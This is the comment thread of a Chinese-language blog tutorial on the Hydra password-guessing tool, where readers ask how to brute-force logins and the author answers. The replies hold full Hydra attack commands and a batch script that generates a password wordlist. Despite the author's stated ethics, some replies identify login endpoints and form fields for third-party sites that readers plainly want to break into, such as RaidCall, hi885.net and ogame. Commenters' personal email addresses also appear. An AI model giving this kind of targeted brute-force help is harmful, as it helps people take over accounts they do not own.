    還有想買大大的書,可以只買Kali Linux滲透測試工具 第二版 跟Metasploitable:白帽駭客新兵訓練營
    就可以了嗎? 網站滲透測試實務入門 在上面這兩本有沒有案例可以實務練習

    回覆刪除
    回覆
    1. 作者已經移除這則留言。

      刪除
    2. 另外錯誤碼的部分,如果網頁是用彈出式窗顯示,是不是不能用hydra
      要改用Burp suite這樣的工具去測試滲透呢?
      現在的網站大多使用email註冊,這方面安全性會比較高吼?
      還是會有其他方式來產生郵件的字典檔來滲透
      用SQL的方式,先註冊會員,擷取封包找出SQL位址在滲透是有可能的嗎?
      謝謝回覆><

      刪除
    3. 1. 如果網址上沒有指定網頁,就直接用 / 沒有錯。

      2. 錯誤碼是不是用彈出式並不是重點,重點在成功及失敗網頁兩者內容上的差異,很多彈出式視窗是利用DIV 的隱藏/顯示(用Javascript控制),但一定有一個地方是用來判斷成功與否,例如用隱藏欄位,這已經設定網頁執行的原理,很難用文字交待。

      我們在滲透時,通常會先用ZAP (用Burp suite亦可)錄下一段操作,然後去找規則,如果錄到的 Response Status Code 是 200 -> 200,表示直接回應,只要找出兩次回應的差異即可,差異不一是在顯示的訊息上,也可能是網頁的某個地方。您要善用瀏覽器的「檢視原始碼」。
      所以您不要將 OPT 的第三段侷限在顯示給使用者的文字上,而是兩個網上的差異上,之前就遇過顯示「Login fail!」,但網頁原始碼是「<span>Login </span><span>fail</span>!」,這時就不能用 Login fail! 做為測試條件,而是用「<span>Login </span><span>fail</span>」。

      3.我的三本書是為三種目的而寫的,您不一定要買三本,我個人推薦 「Kali Linux滲透測試工具 第二版」,這一本介紹的大部分是我們小組進行滲透時使用的工具,也是訓練新人的教材。

      至於網站滲透測試實務人門是為初接觸滲透測試的新人而寫的,因為大部分的人較熟 Windows,所以先利用他們熟悉的環境,帶入滲透測試領域。如果您已熟悉Linux環境,就不用費心思在網站滲透測試實務人門這本上了,因為它的性質跟Kali Linux滲透測試工具是一樣的(甚到部分工具都重疊)

      新兵訓練營是以測試環境為主題而寫的,讓閱讀上面書籍的讀者有練習的環境,如果您已經有練習環境,這一本不買也不會影響學習。

      4. 用email當帳號安全性不會提高,麻煩只在於帳號很長,但是email的url很好猜,不是 @yahoo.com 就是 @gmail.com (...諸如此類),您甚到可以到網路上去搜刮 email位址,根本不用自己產生字典檔。

      5.至於您提的 SQL 方式,我不太了解,如是指資料庫的查詢語法,除非您在內網,否則是錄不到的,SQL查詢是不會下載到您的本機,而是由AP Server對DB Server,但您只能連到 AP Server。如果 SQL 可以下載到本機,那連錄封包都不用了,直接翻開原始碼就看光光了。

      刪除
  28. 謝謝回覆~我了解了!!
    非常感謝!!

    回覆刪除
  29. 請問可以用來破解信箱嗎

    回覆刪除
    回覆
    1. 可以,Hydra的猜測原理很簡單,只要是兩個欄位,並且對正確與否有不同的回應,hydra就可以處理,您需要確定的是您的郵件系統是否具備這種特性。
      如果是 WebMail可以使用 https 協定的方式(上面已有許多關於 http/https的討論)。
      如果是 pop3可參考 hydra 的輔助說明(輸入 hydra -h),基本語法是「hydra -l 帳號 -p 密碼 pop3://IP位址:端口」

      刪除
    2. action=/config/login?.intl=tw
      https://login.yahoo.com/config/login?.intl=tw&.done=https://tw.yahoo.com/
      請問bank該替換成甚麼?
      .done不是內部或外部命令、可執行的程式或批次檔
      Example: hydra -I user -P passlist.txt ftp://192.168.0.1這行是甚麼意思

      刪除
    3. 1. 將 /bank/login.aspx 換成 config/login?.intl=tw&.done=https://tw.yahoo.com/

      2. hydra -I user -P passlist.txt ftp://192.168.0.1
      是利用 hydra 對 ftp 做暴力猜解,其中 -l (您打成 -I 是不對的)是單一帳號,如果要用帳號清單檔,請改用 -L, -P 是指定密碼清單檔(俗稱字典檔), 192.168.0.1 是 ftp 伺服器的位址。

      3. 您想用 hydra 破解 Yahoo 的email登入,可能需要先研究一下它的驗證程序。用 hydra 如果一直發生logon fail,因為 yahoo 或 gmail它們的驗證機制跟一般的網站有些不一樣,還會利用別的欄判斷登入來源,請不要問我要如何破解。

      4.我介紹 hydra 是希望用在滲透測試,不是用在駭客攻擊,非法攻擊可能招致刑責。

      刪除
    4. 好的,感謝您的回答
      我不會去做的!!

      刪除
  30. 版主你好,由於學校要我們上傳一些資料,我忘記密碼,管理員又出差,剛好看到這篇hydra暴力破解,我想用它來破解,可是我對於電腦方面部是很懂,所以有些步驟不適很清楚,想請版主打上易懂的流程。
    我已下載hydra了

    回覆刪除
    回覆
    1. 1.先跟您說抱歉,不知為什麼,Google 總是將留言板發問的訊息歸到垃圾留言,其實您發的三則我的email都有收到。

      2.hydra沒有簡易流程,如果您不了解Web 登入的運作方式,根本無法下指令,其實您要的流程,在本篇的流言板上都有。再貼一遍:

      (1). 確定您要暴力破解的標的是什麼?(HTTP、FTP、SSH、VNC、.....)
      (2). 碇定標的的IP位址
      (3). 確定您的字典來源
      (4). 確定您的欄位名稱
      (5). 確定測試標的時,答錯時的回應訊息
      (6). 執行

      其實這篇博文已經把hydra應用在 http 的破解上說明很清楚,hydra處理對象有很多種,每一種的語法都不一樣,但觀念是想通的。

      3.那你該準備什麼?
      (1)處理登入的網頁程式是哪一友?
      (2)登入成功或失敗的回應訊息?
      (3)你的帳號及密碼字典檔?

      4.hydra不是無所不能,如果網頁有達錯誤次數鎖定,當猜錯超過時,hydra就試不出來了。

      刪除
  31. 版主你好,我留下e-mail,rtafallen2614@gmail.com,這樣比較好敘述,目前已有hydra,但命令字元開啟後,不知要輸入什麼指令來開啟hydra,麻煩版主用e-mail回覆,感謝

    回覆刪除
    回覆
    1. 1.下載hydra 後(應該是 zip檔),將它壓縮到你想要的目錄,例如 D:\hydra\
      2.開啟命令提示字元,切換到 D:\hydra\
      3.執行 hydra.exe

      如果您對命令提示字元的操作不明白,麻煩您就教身邊附近的人,因為這些基礎用文字很難簡短說明,反而可能誤導您。

      刪除
    2. 我有照你的敘述將hydra解壓縮至d槽資料夾,資料夾目錄也顯示D:\hydra,但我開啟cmd切換到d槽D:\hydra,他就變

      Microsoft Windows [版本 10.0.10586]
      (c) 2015 Microsoft Corporation. 著作權所有,並保留一切權利。

      C:\Users\user>d:

      D:\>hydra
      'hydra' 不是內部或外部命令、可執行的程式或批次檔。

      刪除
    3. 資料夾目錄顯示「D:\hydra」,表示D: 底下的 hydra 是目錄,不是程式,你還要切換到目錄下才能執行

      C:\Users\user>d:
      D:>cd hydra
      D:\hydra>dir *.exe

      你到 D:\hydra 底下用 dir 看有沒有任何 .exe 的檔案,這一支就是執行檔

      刪除
    4. 接下來需要輸入什麼? 我知道我的帳號,密碼忘記了,但我知道密碼12碼,前面兩碼為英文,後面10碼為數字,要用什麼字典檔?

      Microsoft Windows [版本 10.0.10586]
      (c) 2015 Microsoft Corporation. 著作權所有,並保留一切權利。

      C:\Users\user>d:

      D:\>cd hydra

      D:\hydra>dir *.exe
      磁碟區 D 中的磁碟是 DATA
      磁碟區序號: AA01-ED9C

      D:\hydra 的目錄

      2014/07/25 下午 09:00 410,126 hydra.exe
      2014/07/25 下午 09:00 46,606 pw-inspector.exe
      2 個檔案 456,732 位元組
      0 個目錄 188,367,114,240 位元組可用

      D:\hydra>hydra.exe
      1 [main] hydra 8424 find_fast_cwd: WARNING: Couldn't compute FAST_CWD pointer. Please report this problem to
      the public mailing list cygwin@cygwin.com
      Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

      Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]]

      Options:
      -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
      -p PASS or -P FILE try password PASS, or load several passwords from FILE
      -C FILE colon separated "login:pass" format, instead of -L/-P options
      -M FILE list of servers to be attacked in parallel, one entry per line
      -t TASKS run TASKS number of connects in parallel (per host, default: 16)
      -U service module usage details
      -h more command line options (complete help)
      server the target server (use either this OR the -M option)
      service the service to crack (see below for supported protocols)
      OPT some service modules support additional input (-U for module help)

      Supported services: asterisk cisco cisco-enable cvs ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] rdp rexec rlogin rsh sip smb smtp[s] smtp-enum snmp socks5 teamspeak telnet[s] vmauthd vnc xmpp

      Hydra is a tool to guess/crack valid login/password pairs - usage only allowed
      for legal purposes. This tool is licensed under AGPL v3.0.
      The newest version is always available at http://www.thc.org/thc-hydra

      Example: hydra -l user -P passlist.txt ftp://192.168.0.1

      D:\hydra>

      刪除
    5. 字典檔是一個文字檔,一行一組密碼,請您自行用記事本去編輯。
      請您看一下本篇博文的內容,裡頭有說明各個參數的性質和用法,還給了範例。

      刪除
    6. 那我上面貼的cmd指令就可以執行破解嗎?
      有沒有推薦的密碼檔產生?

      刪除
    7. 對不起,您貼了什麼指令?
      hydra 破解密碼不是您想的那麼簡單,您必須先瞭解執行登入驗證的是哪一網頁?正確登入跟錯誤登的區別,它有沒有幾次錯誤鎖定等問題,如果您真的想用hydra,本篇博文及之前別人問的問題您應該先研究下。
      假如您沒有密碼字典檔,可以將 -P 參數換成 -x ,-x 是在執行時直接由 hydra 產生密碼組合。有關 -x的說明,在博文裡已經介紹了。

      刪除
  32. Microsoft Windows [版本 10.0.10586]
    (c) 2015 Microsoft Corporation. 著作權所有,並保留一切權利。

    C:\Users\user>d:

    D:\>cd hydra

    D:\hydra>dir *.exe
    磁碟區 D 中的磁碟是 DATA
    磁碟區序號: AA01-ED9C

    D:\hydra 的目錄

    2014/07/25 下午 09:00 410,126 hydra.exe
    2014/07/25 下午 09:00 46,606 pw-inspector.exe
    2 個檔案 456,732 位元組
    0 個目錄 188,367,114,240 位元組可用

    D:\hydra>hydra.exe
    1 [main] hydra 8424 find_fast_cwd: WARNING: Couldn't compute FAST_CWD pointer. Please report this problem to
    the public mailing list cygwin@cygwin.com
    Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

    Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]]

    Options:
    -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
    -p PASS or -P FILE try password PASS, or load several passwords from FILE
    -C FILE colon separated "login:pass" format, instead of -L/-P options
    -M FILE list of servers to be attacked in parallel, one entry per line
    -t TASKS run TASKS number of connects in parallel (per host, default: 16)
    -U service module usage details
    -h more command line options (complete help)
    server the target server (use either this OR the -M option)
    service the service to crack (see below for supported protocols)
    OPT some service modules support additional input (-U for module help)

    Supported services: asterisk cisco cisco-enable cvs ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] rdp rexec rlogin rsh sip smb smtp[s] smtp-enum snmp socks5 teamspeak telnet[s] vmauthd vnc xmpp

    Hydra is a tool to guess/crack valid login/password pairs - usage only allowed
    for legal purposes. This tool is licensed under AGPL v3.0.
    The newest version is always available at http://www.thc.org/thc-hydra

    Example: hydra -l user -P passlist.txt ftp://192.168.0.1

    D:\hydra>

    上面是我的命令提示字元
    下面是網頁部分的原始碼
    form id=frmlogin name="frmlogin" method="post" action="main.asp">

    目前我確定是http,並用post傳遞,沒有其他圖形的驗證,帳號密碼錯誤時,他是跳出方框顯示帳號密碼錯誤,然後就回到帳號密碼的位置,但它沒有次數的限制。
    還有版主的 -x參數意思是假設密碼為Km5687596,那他的表現方式就是Aa1111111嗎?
    如果密碼確定是9碼,那MIN要輸入9,MAX也是9?

    照這個格式 hydra [[[-l LOGIN | -L FILE] [-p PASS | -P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE]] [-w TIME] [-f | -F] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]]
    -P參數換成 -x,那是直接在-P納格填入-x嗎?

    回覆刪除
    回覆
    1. hydra -l 你的帳號 -P 你的密碼檔 網站位址 http-form-post "/main.asp:傳送帳號的欄位=^USER^&傳送密碼的欄位=^PASS^:密碼錯誤時的文字

      上面應該是你想要的指令,至於中文字部分,請你依實際情況更換。

      另外依你講的密碼是 12碼,前兩碼是字母,你可以用下面的指令來產生字典檔:

      for %%a IN (A B C a b c) do (
      REM 上面括號內的文字請自己將它加成 A B ....X Y Z a b c...x y z
      for %%b IN (A B C a b c) do (
      REM 上面括號內的文字請自己將它加成 A B ....X Y Z a b c...x y z
      for /L %%c IN (0,1,9) do (
      for /L %%d IN (0,1,9) do (
      for /L %%e IN (0,1,9) do (
      for /L %%f IN (0,1,9) do (
      for /L %%g IN (0,1,9) do (
      for /L %%h IN (0,1,9) do (
      for /L %%i IN (0,1,9) do (
      for /L %%j IN (0,1,9) do (
      for /L %%k IN (0,1,9) do (
      for /L %%l IN (0,1,9) do (
      echo %%a%%b%%c%%d%%e%%f%%g%%h%%j%%j%%k%%l
      ))))))))))))

      請把上面的指令存成 pwlist.bat (副檔名一定要是 bat)
      然後在命令提示字元執行 pwlist>password.txt
      執行之後會產生一支 password.txt 的文字檔,這一支就是你要的密碼字典檔,將它帶到最上面的 hydra。


      如果要把 -P 換成 -x ,就是用 「-x 12:12:1Aa」換掉「-P 你的密碼檔」

      另外,我還是要求醒你,hydra是滲透測試工具,如果用在非法入侵可能招致刑責,任何後果請自負。
      (它會在伺服器上留下日誌紀錄)

      刪除
  33. 版主,請問hydra執行語法輸入完後,是和產生密碼檔分開做還是一起做?
    還有指令來產生字典檔我有一點看不懂,是輸入for %%a IN (ABCDEFGHIJKL...Zabcdefghijkl...z) 然後後面是?
    對不起,小弟比較笨,問的可能比較多,請版主見諒!
    其實我不是要拿來做非法的行為,我知道我要懂的東西還很多,要拿來做滲透測試還有很多要摸索,所以,請版主放心

    回覆刪除
    回覆
    1. 1.你要先產生字典,它是獨立的檔案。
      2.我給你產生字典檔的指令是要單獨存存一支 pwlist.bat 檔
      3.然後執行 pwlist>password.txt
      4.再把 password.txt 套到 hydra 的指令,這此步驟都是分開做的。

      有兩行要你自行加字的,就是在括號裡輸入:
      A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y x
      每個字母之間要用空格隔開

      刪除
  34. 明照你好,

    我要用hydra破解我的yahoo信箱
    我的指令: hydra -l hlpss1133 -P \Users\Chan\Downloads\password.lst https://login.yahoo.com http-form-post "/bank/login.aspx:username=^USER^&passwd=^PASS^:login-error"
    結果: Error : network size may only be between /16 and /31: http://login.yahoo.com

    請問要如何解決呢
    感謝

    回覆刪除
    回覆
    1. 未經Yahoo同意擅自執行暴力破解已屬惡意攻擊行為,恕我無法幫您。(切莫引誘我犯罪)
      另外,Yahoo的登入機制是採二層式的,hydra無能為力。

      刪除
    2. 原來如此 感謝 為我那死去的信箱QQ

      刪除
    3. 難道不能使用Yahoo的「忘記密碼」功能嗎?如果當初都沒有留下可用的聯絡資訊。您為何不洽 Yahoo 管理員呢?您可以到:
      https://io.help.yahoo.com/contact/index?page=contact&locale=zh_TW&y=PROD_ACCT#
      留下相關資訊,只要能確認身分,一般他們都會為您重設密碼。

      刪除
  35. 輸入指令後出現
    C:\Users\User\Desktop\Hydra 7.5>hydra.exe
    'hydra.exe' 不是內部或外部命令、可執行的程式或批次檔。

    確定檔案名沒錯 請問該怎麼繼續?

    回覆刪除
    回覆
    1. 作業系統不會騙人,請您再確認 "C:\users\user\desktop\hydra 7.5"裡頭真的有 hydra.exe 這支檔案?
      還是 "C:\users\user\desktop\hydra 7.5" 裡頭還有其他目錄,例如 hydra?

      刪除
  36. 我在檢視原始碼時想找你所說的FORM ACTION
    但只看到FORM CLASS XXXXX
    請問該如何解決?

    回覆刪除
    回覆
    1. 如果在HTML的<BODY> 中找不到 action,有可能是寫在 javascript 裡頭。

      刪除
  37. 破解ftp的時候為毛都直接跳過密碼?把正確密碼加到密碼檔內他都沒有跑出來欸,只有用 -p的時候才會成功

    回覆刪除
    回覆
    1. 哇! 星期天您都還在認真哦!
      我不了解您描述的問題,之前是遇到 -t 設太大時會失敗,後來都將 -t 設成4 或 8,至於hydra會跳過某幾筆密碼或帳號倒是直的,我也不知道其原因。
      如果覺得hydra有問題,亦可試試 patator。

      刪除
  38. C:\Users\Hasee\Desktop\thc-hydra-windows-master>hydra.exe -l 20080615 C:\Users\Hasee\Desktop\1.txt http://www.testfire.net
    Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

    Hydra (http://www.thc.org/thc-hydra) starting at 2016-12-05 23:36:23
    [ERROR] Unknown service: http://www.testfire.net

    老是提示 Unknown servic 未知的服务是怎么回事?ip地址也不行域名也不行。

    回覆刪除
    回覆
    1. 仔細看你的語法「hydra.exe -l 20080615 C:\Users\Hasee\Desktop\1.txt http://www.testfire.net」,加了 -l 是帳號,那密碼呢? 在 C:\Users\Hasee\Desktop\1.txt 此路徑之前是不是漏了「-P」?

      刪除
  39. 您好:
    如我記得帳號卻忘記密碼,但記得密碼大約多少數字,此工具是否可指定帳號且指定6數字以上10數字以下的密碼呢?謝謝您!

    回覆刪除
    回覆
    1. 可以的!
      只要用將密碼的選項 -P 改用 -x ,有關 -x 的用法請參考主文中的說明

      刪除
    2. 作者已經移除這則留言。

      刪除
  40. 午安,您好:
    hydra -l ed9646 -x 6:8:sa1
    因還記得密碼是sa開頭,並且指定是6~8字+參雜數字,請問這樣輸入是對的嗎?
    多謝指教!

    回覆刪除
    回覆
    1. -x 是由三部分組成, -x MIN:MAX:CHARSET

      請您閱讀這一段說明:
      -x:指定密碼的長度限制及文字集,其中 MIN:MAX 是數字,表示密碼最少 MIN 字,最長 MAX字,而CHARSET 是由 1(數字), a(小寫字母), A(大寫字母),如果要用其他特殊字,就直接接在後面,例如:1A@#!,表示密碼是由數值、大寫字母及 @#!三個特殊字元組成! 此一選項是用來自動產生暴力字典!

      刪除
  41. 是的,我有閱讀到這一段,但不懂CHARSET是否可以指定為有sa字母與數字組合。

    回覆刪除
    回覆
    1. 沒試過,依照它的說明應該是不行,只有特殊符號可以個別指定,其餘就只能指定 大寫、小寫及數字

      刪除
  42. 請問密碼錯誤時的文字

    密碼帳號錯誤,請檢查您輸入的帳號密碼是否正確!



    還有未輸入時



    兩種原始碼只差在這裡

    這樣有辦法設定密碼錯誤時的文字嗎?

    (?是td !是font)

    回覆刪除
    回覆
    1. 只要密碼錯誤時的文字不會出現在密碼輸入頁上的任何地方(包括隱藏的文字或註解區),就可以拿來判斷是否登入成功。
      以您的情況來看「密碼帳號錯誤」或「請檢查您輸入」都可以做為判斷的依據

      刪除
  43. http://www.raidcall.com.tw/v3/

    請問這個網址怎麼破解帳號和密碼啊??

    回覆刪除
    回覆
    1. 基於白帽駭客的倫理,無法直接告訴您如何破解。
      但您可以搭配 BurpSuite 或 ZAP 等 Local Proxy工具,攔截往來的請求與回應內容,應該會發現它的登入處理網址在 http://www.raidcall.com.tw/v2/dialog/login/ajax.php,而發送的資料欄位為 lang=zh_TW&debug=false&user_name=abc&user_pwd=12345&validcode=&remember=false 。

      另外請大家行行好,我是個良民,任何滲透測試都必須要有雇主明確授權,千萬別要求我幫忙破解別人的網站。

      刪除
    2. 我覺得我還是先去學學Kali Linux 基本的一些東西再來試試看好了,我覺得我還必須把我的基本功先練好

      刪除
    3. 我想問一件事 為甚麼 http://www.raidcall.com.tw/user/safe_email.php?action=update&ret=0
      他是要登入修改密保信箱,但是通常都會隱藏起來不讓人去查看,可是進入那畫面後把這串網址貼在打網址的上面www.raidcall.com.tw/login/api.php?appId=987654321&lang=en_US&debug=false&action=getUserInfo&callback=jQuery171012004707893356681_1437685990154&_=1437685990254


      之後就會可以知道原本所隱藏的信箱呢? 可是卻現在又被改掉了,想問問這是運用甚麼咚咚為甚麼會這樣= =

      刪除
    4. 我看不懂您的意思!網站如何運作,涉及程式設計師的功力,可用的方法很多,我不曉得raidcall是用什麼機制。
      但懂得網頁安全的人就知道要用 Session來管理使用者身分,所以有沒有登入,對請求http://www.raidcall.com.tw/user/safe_email.php?action=update&ret=0 是會有不同的結果,就算登入,但使用不同的帳號也會有不同的結果,除非看到它的原始碼,否則一切都是臆測的!

      刪除
    5. 對了~我最近買了Kali Linux 2.X 可是安裝注音輸入法(我打的指令是apt-get install ibus-chewing),安裝後重啟依然沒有出現注音拼音

      刪除
    6. 請您參考 http://www.zendei.com/article/7465.html 網頁上的 「2. 添加中文輸入法」

      刪除
    7. 可是它裡面沒有注音輸入法= =

      刪除
    8. 請問有沒有建議說用什麼建議的硬體防火牆可以有一點效果防止網路被DDOS,因為我也ㄑ打過給我ISP種花電信客服問過防DDOS的防火牆,結果他給我說種花守門員跟若頓= =,我的COMODO搞不好都比他好= = ,而且他還跟我說會被DDOS就不要用那軟體ㄚ....

      刪除
    9. 抱歉! 設備不是我的專長,無法為您推薦。
      但您若細思DDoS的意義,就會了解沒有任何「單點」設備可以防止DDoS。可以參考 http://ithelp.ithome.com.tw/questions/10154383 這篇討論。

      刪除
    10. 這篇文章我看過了,因為我都去搜尋過,謝謝你的建議,還勞煩到你的寶貴的時間不好意思

      刪除
  44. !!!這個不是寫Kali linux 的大師嗎

    回覆刪除
  45. http://www.nba-mlb-nhl.com/admin/member/front/index.php
    請問如果要破解這個網址帳密
    我可以使用那些工具

    回覆刪除
    回覆
    1. 由於目前沒有適當破解圖形驗證碼的工具,對這種網站我只能說抱歉了!還是找別的路子吧!

      刪除
    2. 這個網址是用付費制的
      有付費就可以看內容
      請問有方法破解看到嗎

      刪除
    3. 基於白帽駭客的倫理,無法直接告訴您如何破解。至於能不能破解?暴力破解就是猜密碼,能不能猜得到,還得看設帳號、密碼的人夠不夠警覺,沒有人敢保證可以或不可以破解,看緣份。

      除了暴力破解外,還可以嘗試尋找網站是否有其他弱點,像Sql-injection,或者利用社交工程騙取使用者的帳密,這些都是破解的手法。

      但請大家行行好,我是個良民,任何滲透測試都必須要有雇主明確授權,千萬別要求我幫忙破解別人的網站。

      刪除
    4. 好的 不好意思
      http://hi885.net/index.cgi
      那請問這個是否符合暴力破解呢

      刪除
    5. http://hi885.net/index.cgi 符合暴力破解,您可以檢視原始檔,找出帳號、密碼欄位及 form 的提交對象,當登入失敗時,回應的訊息是「登入帳號不正確」,是可以嘗試暴力猜帳密。

      但請小心,隨意試別人的網站可能會被告哦!

      刪除
  46. 請問這種有辦法嗎http://waste1.epa.gov.tw/IWMS/

    回覆刪除
    回覆
    1. 如果您拿得到自然人憑證,應該可以吧!

      刪除
  47. 請問有E─mail嗎?謝謝

    回覆刪除
    回覆
    1. i80091a@gmail.com
      但請勿要求我協助破解別人的系統,我不想做違法的行為哦!

      刪除
    2. 另外:我因工作關係,不會隨時盯著mail,所以回信若慢了,請別見怪!

      刪除
  48. 大師您好,如果像輸入固定IP的登入,也可以使用hydra帳號密碼猜測工具嗎?感謝撥空回答!

    回覆刪除
    回覆
    1. 可以,只要將 service://server 改成 service://IP 即可!

      刪除
  49. 不好意思,在文中提到的kali請問要在哪裡下載啊?是否下載完成就會顯示文中的圖片,因為我真的是電腦白痴,只能照著文中的步驟一個一個做

    回覆刪除
    回覆
    1. KALI可以從 https://www.kali.org/downloads/ 下載。
      但絕不是您想的那樣,KALI是一套整合型作業系統,必須安裝成一臺電腦才能使用,所以不是「下載完成就會顯示文中的圖片」。

      刪除
  50. 感謝指教~我自己在摸索看看

    回覆刪除
  51. 不好意思,hydra可以運用在破解FB、YAHOO信箱、GOOGLE信箱或者隨意窩嗎?因為他們的原始碼裡面的action跟文中的比起來好像沒有那麼簡短欸?

    回覆刪除
    回覆
    1. hydra 只能破解兩個欄位(帳號、密碼)的登入頁面,其他方式都不適用,例如加圖形驗證碼,或者會跳轉到第二頁的方式,hydra都不行,所以不能用來破解 FB、YAHOO信箱、GOOGLE信箱。

      刪除
    2. 那請問如果要破解以上三種,你建議用哪一種方式比較好呢?

      刪除
    3. 目前還沒有發現合適的工具,您或許可以分析它們的網頁行為,看能否找到漏洞,但機率不高,因為它們都有自己的安全人員不時在找漏洞。

      刪除
  52. 你好我是資訊系學生 我想破解自己的學生登入口
    我有自己的帳密 想玩一下這款 想破解看看
    可以加賴嗎

    回覆刪除
  53. 你好 陳先生 我已經下載hydra 但是並未看到exe檔 反而看到一個readme的檔案
    To install just do a:

    ./configure
    make
    su root
    make install

    Easy at it can be... You need thc-hydra installed to make this work.
    This is my second gtk+2 program, so I am waiting for a lot of patches :)
    Mail them to snakebyte@gmx.de
    請問這樣hydra是不是被隱藏了?
    那請問怎麼把這exe給弄出來呢?沒有exe完全無法用 請教我謝謝

    回覆刪除
    回覆
    1. 你下載的是原始碼,必須自行編譯。或者到https://github.com/maaaaz/thc-hydra-windows下載人家編譯好的。

      刪除
    2. 我就是照著陳先生你貼的網址去下載 但是下載包裡面根本沒有exe檔 也就是沒有執行檔阿 怎麼辦呢

      刪除
    3. 一、用瀏覽器開啟「https://github.com/maaaaz/thc-hydra-windows」這個網址
      二、畫面往下拉到「Usage」這一段,會看到「Download the whole archive」這段字,其中「archive」是水藍色的。
      三、點擊「archive」就可以下載 「thc-hydra-windows-master.zip」
      四、將下載回來的壓縮檔解開就可以看到「hydra.exe」
      五、這是一支命令列模式的檔案,請在「命令提示字元」的視窗中執行。

      刪除
  54. 陳先生你好,想請教一下!如果是網路遊戲驗證密碼(手機號碼)要破解有辦法嗎?官方部分只給了我(0975)後續部分完全無從得知,不知道有沒有辦法破解重新確認身分?
    或是麻煩陳先生聯絡:simp40220@gmail.com
    麻煩你了。

    回覆刪除
    回覆
    1. 假如它允許你一直試,就有可能利用暴力破解,但如果是分二階段驗證,Hydra是做不到的

      刪除
    2. 陳先生,我有寄信給您看看了!可以麻煩您看看有沒有辦法處理這種問題?

      刪除
  55. 回覆
    1. 可以在windows7操作沒有問題,只是我都用管理員身分運行。

      刪除
  56. 那請問這樣的語法是正確的嗎
    hydra -l admin -p password.lst www.testfire.net http-from-post"/bank/login.aspx:uid=^USER^&passw=^PASS^:Login Failed"

    回覆刪除
    回覆
    1. hydra -l admin -P password.lst www.testfire.net http-from-post "/bank/login.aspx:uid=^USER^&passw=^PASS^:Login Failed"

      您用 password.lst 應該是想利用密碼字典檔來破解,所以選項要用 -P (大寫P),如果用小寫 -p ,是指密碼為「password.lst」

      刪除
  57. 請問有window系統可以用的密碼字典檔嗎?
    我在網路上好像找不太到。

    回覆刪除
    回覆
    1. 我不懂您的意思。密碼字典檔是純文字檔,Windows一定可以用。
      如果您是指專門用來破解Windows登入的密碼字典,好像沒什麼意義,外面一些針對社群網站收集的密碼字典,一樣可以拿來攻擊Windows,密碼就是密碼,很多人一套密碼走天下,用在Facebook的,照樣用在gmail、outlook、windows、...。
      當用在公司內部系統時,要考慮公司的資安政策,例如要求12位以上,您去找外面8碼、7碼的字典檔,根本沒有用,必須視不同的環境整理字典檔,這樣攻擊才有效。

      刪除
  58. ogame.tw,請問這網站適用hydra破解嗎?

    回覆刪除
    回覆
    1. 應該是可以利用hydra破解,請求時的欄位如下:
      kid=&login=aaa@bbb.ccc&pass=eee&uni=s101-tw.ogame.gameforge.com
      不過您要自己找出「成功登入」與「登入失敗」時,兩種回應網頁內容的差異,才能判斷使用的帳密是否成功登入。

      刪除
  59. hydra -l admin -P /usr/share/password.lst tw.ogame.gameforge.com http-from-post "/bank/login.aspx:uid=^USER^&passw=^PASS^:您的登入資料不正確"

    回覆刪除
    回覆
    1. 網頁有擋一些語法
      將結圖畫面PO上網,請您在去看一下https://screenshot.net/tw/eerz9iy

      刪除
    2. 1.最好不要用中文,因為編碼(內碼)關係,可能對不上。
      2.不行
      3.
      hydra -l admin -P /usr/share/password.lst tw.ogame.gameforge.com http-from-post "/main/login:<這裡是輸入帳號的欄位>=^USER^&<這裡是輸入密碼的欄位>=^PASS^:您的登入資料不正確"
      您得清楚資料要塞在那裡,hydra的指令才會有作用,但請不要叫我幫您寫式子。

      刪除
  60. "/bank/login.aspx: 得bank 是怎麼來的壓 為甚麼要加?
    指令目的為合?

    回覆刪除
    回覆
    1. 這是我部落格上的範例網址,您必須自行換成您要破解的網站之對應網址,請閱讀這篇博文。

      刪除
  61. 請問可以幫忙破解嗎..我下載軟體都打不開..我是帳戶的擁有者..不知道為什麼密碼一直錯誤

    回覆刪除
  62. 或者你跟我說要怎做
    MAIL:yugoer@hotmail.com

    回覆刪除
  63. 抱歉過了那麼久還來發問,最近對這方面很有興趣想研究 也有買版主的書喔XD
    剛好看到這篇,首先感謝版主的博文,我去測那個testfire有成功哈哈
    不過我有兩個疑問
    一是因為版主是舉-l 跟-P 的例子,較沒說明後面那種,那打個比方,如果網站是那種帳密最長12字,都英文字母大小寫皆可(先不考慮數字好了) 這樣是不是就要用到下面那種的-x了?還是說也一樣是用-L跟-P隨機抓測 只不過這樣user list跟password list也不知道怎麼生成哈哈
    還是說用版主說的用Kali內建的字典檔就已經有各種長度的亂碼表了,或許也可以輕鬆破解?
    二是本人目前閱讀了版主的書後,發現Kali Linux果然會對滲透實測幫助甚許,但載完壓縮檔也解壓縮,想來啟用的時候發現,沒有可以開啟vmx檔的程式或工具,想請問要先另外安裝什麼工作環境的程式才能開啟嗎?
    一不小心就快變長文了 非常抱歉
    我的gmail是hhforfgo@gmail.com
